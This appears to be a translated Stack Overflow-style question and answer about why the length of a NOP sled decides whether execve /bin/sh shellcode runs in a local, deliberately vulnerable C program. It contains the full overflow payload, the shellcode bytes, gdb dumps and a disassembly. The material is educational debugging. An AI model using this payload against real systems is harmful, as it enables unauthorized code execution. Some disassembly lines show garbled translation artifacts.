为什么 NOP 的数量似乎会影响 shellcode 是否成功执行?

Why does the amount of NOPs seem to impact whether shellcode is executed successfully?

我正在学习缓冲区溢出(仅用于教育目的)并且在使用 NOP 滑动技术执行 shellcode 时出现了一些问题,为什么 shellcode 有时不是执行。

我编译了以下代码(使用 Ubuntu 18.04.1 LTS (x86_64), gcc 7.3.0., ASLR 禁用)

#include <stdio.h>
#include <string.h>

void function (char *args)
{
    char   buff[64];
    printf ("%p\n", buff);
    strcpy (buff, args);
}

int main (int argc, char *argv[])
{
    function (argv[1]);
}

如下:gcc -g -o main main.c -fno-stack-protector -z execstack。 然后我唤起了 gdb mainb 9

run `perl -e '{ print "\x90"x15; \
                print "\x48\x31\xc0\xb0\x3b\x48\x31\xd2\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe3\x08\x48\xc1\xeb\x08\x53\x48\x89\xe7\x4d\x31\xd2\x41\x52\x57\x48\x89\xe6\x0f\x05"; \
                print "\x90"x8; \
                print "A"x8; \
                print "\xb0\xd8\xff\xff\xff\x7f" }'`

上面的字符串由NOPs + shellcode + NOPs + bytes to override the saved frame pointer + bytes to override the return address组成。我根据printf行的输出选择了return地址。 (注意:明确地说,上面的hexcode在x86_x64中打开了一个shell。

从下面的输出可以看出,缓冲区按预期溢出了。

(gdb) x/80bx buff
0x7fffffffd8b0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd8b8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x48
0x7fffffffd8c0: 0x31    0xc0    0xb0    0x3b    0x48    0x31    0xd2    0x48
0x7fffffffd8c8: 0xbb    0x2f    0x62    0x69    0x6e    0x2f    0x73    0x68
0x7fffffffd8d0: 0x11    0x48    0xc1    0xe3    0x08    0x48    0xc1    0xeb
0x7fffffffd8d8: 0x08    0x53    0x48    0x89    0xe7    0x4d    0x31    0xd2
0x7fffffffd8e0: 0x41    0x52    0x57    0x48    0x89    0xe6    0x0f    0x05
0x7fffffffd8e8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd8f0: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffd8f8: 0xb0    0xd8    0xff    0xff    0xff    0x7f    0x00    0x00

(gdb) info frame 0
 [...]
 rip = 0x5555555546c1 in function (main.c:9); saved rip = 0x7fffffffd8b0
 [...]
 Saved registers:
  rbp at 0x7fffffffd8f0, rip at 0x7fffffffd8f8

从这里继续确实会打开 shell。但是,当我使用以下内容作为参数时(唯一的区别是我将 \x90"x15 替换为 \x90"x16 并将 \x90"x8 替换为 \x90"x7

run `perl -e '{ print "\x90"x16; \
                print "\x48\x31\xc0\xb0\x3b\x48\x31\xd2\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe3\x08\x48\xc1\xeb\x08\x53\x48\x89\xe7\x4d\x31\xd2\x41\x52\x57\x48\x89\xe6\x0f\x05"; \
                print "\x90"x7; \
                print "A"x8; \
                print "\xb0\xd8\xff\xff\xff\x7f" }'` 

我明白了

(gdb) x/80bx buff
0x7fffffffd8b0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd8b8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd8c0: 0x48    0x31    0xc0    0xb0    0x3b    0x48    0x31    0xd2
0x7fffffffd8c8: 0x48    0xbb    0x2f    0x62    0x69    0x6e    0x2f    0x73
0x7fffffffd8d0: 0x68    0x11    0x48    0xc1    0xe3    0x08    0x48    0xc1
0x7fffffffd8d8: 0xeb    0x08    0x53    0x48    0x89    0xe7    0x4d    0x31
0x7fffffffd8e0: 0xd2    0x41    0x52    0x57    0x48    0x89    0xe6    0x0f
0x7fffffffd8e8: 0x05    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd8f0: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffd8f8: 0xb0    0xd8    0xff    0xff    0xff    0x7f    0x00    0x00

(gdb) info frame 0
 [...]
 rip = 0x5555555546c1 in function (main.c:9); saved rip = 0x7fffffffd8b0
 [...]
 Saved registers:
  rbp at 0x7fffffffd8f0, rip at 0x7fffffffd8f8

这对我来说很好(与上面相同,除了反映参数的变化),但是当我这次继续时我得到

Program received signal SIGILL, Illegal instruction.
0x00007fffffffd8ea in ?? ()

并且没有 shell 打开。


编辑: 我添加了 shellcode:

的反汇编
0000000000400078 <_start>:
  400078:   48 31 c0                xor    %rax,%rax
  40007b:   b0 3b                   mov    [=16=]x3b,%al
  40007d:   48 31 d2                xor    %rdx,%rdx
  400080:   48 bb 2f 62 69 6e 2f    movabs [=16=]x1168732f6e69622f,%rbx
  400087:   73 68 11 
  40008a:   48 c1 e3 08             shl    [=16=]x8,%rbx
  40008e:   48 c1 eb 08             shr    [=16=]x8,%rbx
  400092:   53                      push   %rbx
  400093:   48 89 e7                mov    %rsp,%rdi
  400096:   4d 31 d2                xor    %r10,%r10
  400099:   41 52                   push   %r10
  40009b:   57                      push   %rdi
  40009c:   48 89 e6                mov    %rsp,%rsi
  40009f:   0f 05                   syscall

关于我的第二个例子,Jester 关于 shell 代码的 push 操作覆盖了 shell 代码远端的指令的猜测是正确的:

通过设置set disassemble-next-line on收到SIGILL后检查当前指令并重复第二个例子产生

Program received signal SIGILL, Illegal instruction.
0x00007fffffffd8ea in ?? ()
=> 0x00007fffffffd8ea:  ff  (bad)

先前在此地址的 NOP (90) 已被 ff 覆盖。

这是怎么发生的?再次重复第二个例子,另外设置b 8。此时缓冲区还没有溢出

(gdb) info frame 0
[...]
Saved registers:
  rbp at 0x7fffffffd8f0, rip at 0x7fffffffd8f8

0x7fffffffd8f8 开始的字节包含离开 function 函数后将 returned 到的地址。然后,这个 0x7fffffffd8f8 地址也将是堆栈将再次继续增长的地址(在那里,将存储前 8 个字节)。实际上,继续使用 gdb 并使用 si 命令表明,在 shell 代码的第一个 push 指令之前,堆栈指针指向 0x7fffffffd900

(gdb) si
0x00007fffffffd8da in ?? ()
=> 0x00007fffffffd8da:  53      push   %rbx
(gdb) x/8x $sp
0x7fffffffd900: 0xf8    0xd9    0xff    0xff    0xff    0x7f    0x00    0x00 

... 并且当执行 push 指令时,字节存储在地址 0x7fffffffd8f8:

(gdb) si
0x00007fffffffd8db in ?? ()
=> 0x00007fffffffd8db:  48 89 e7        mov    %rsp,%rdi
(gdb) x/8bx $sp
0x7fffffffd8f8: 0x2f    0x62    0x69    0x6e    0x2f    0x73    0x68    0x00

继续这样做,可以看到在 shell 代码的最后一个 push 指令之后,push 的内容被压入地址 0x7fffffffd8e8 的堆栈:

0x00007fffffffd8e3 in ?? ()
=> 0x00007fffffffd8e3:  57      push   %rdi
0x00007fffffffd8e4 in ?? ()
=> 0x00007fffffffd8e4:  48 89 e6        mov    %rsp,%rsi
(gdb) x/8bx $sp
0x7fffffffd8e8: 0xf8    0xd8    0xff    0xff    0xff    0x7f    0x00    0x00

然而,这也是存储 syscall 指令的最后一个字节的地方(参见第二个示例问题中的 x/80bx buff 输出)。因此,系统调用和 shell 代码无法成功执行。这在第一个示例中没有发生,因为从那时起,压入堆栈的字节一直增长到 shell 代码的末尾(没有覆盖它的一个字节):8 个字节用于 8 个 NOP("\x90"x8) + 8 个字节用于保存的基指针 + 8 个字节用于 return 地址为 3 个 push 操作提供足够的 space。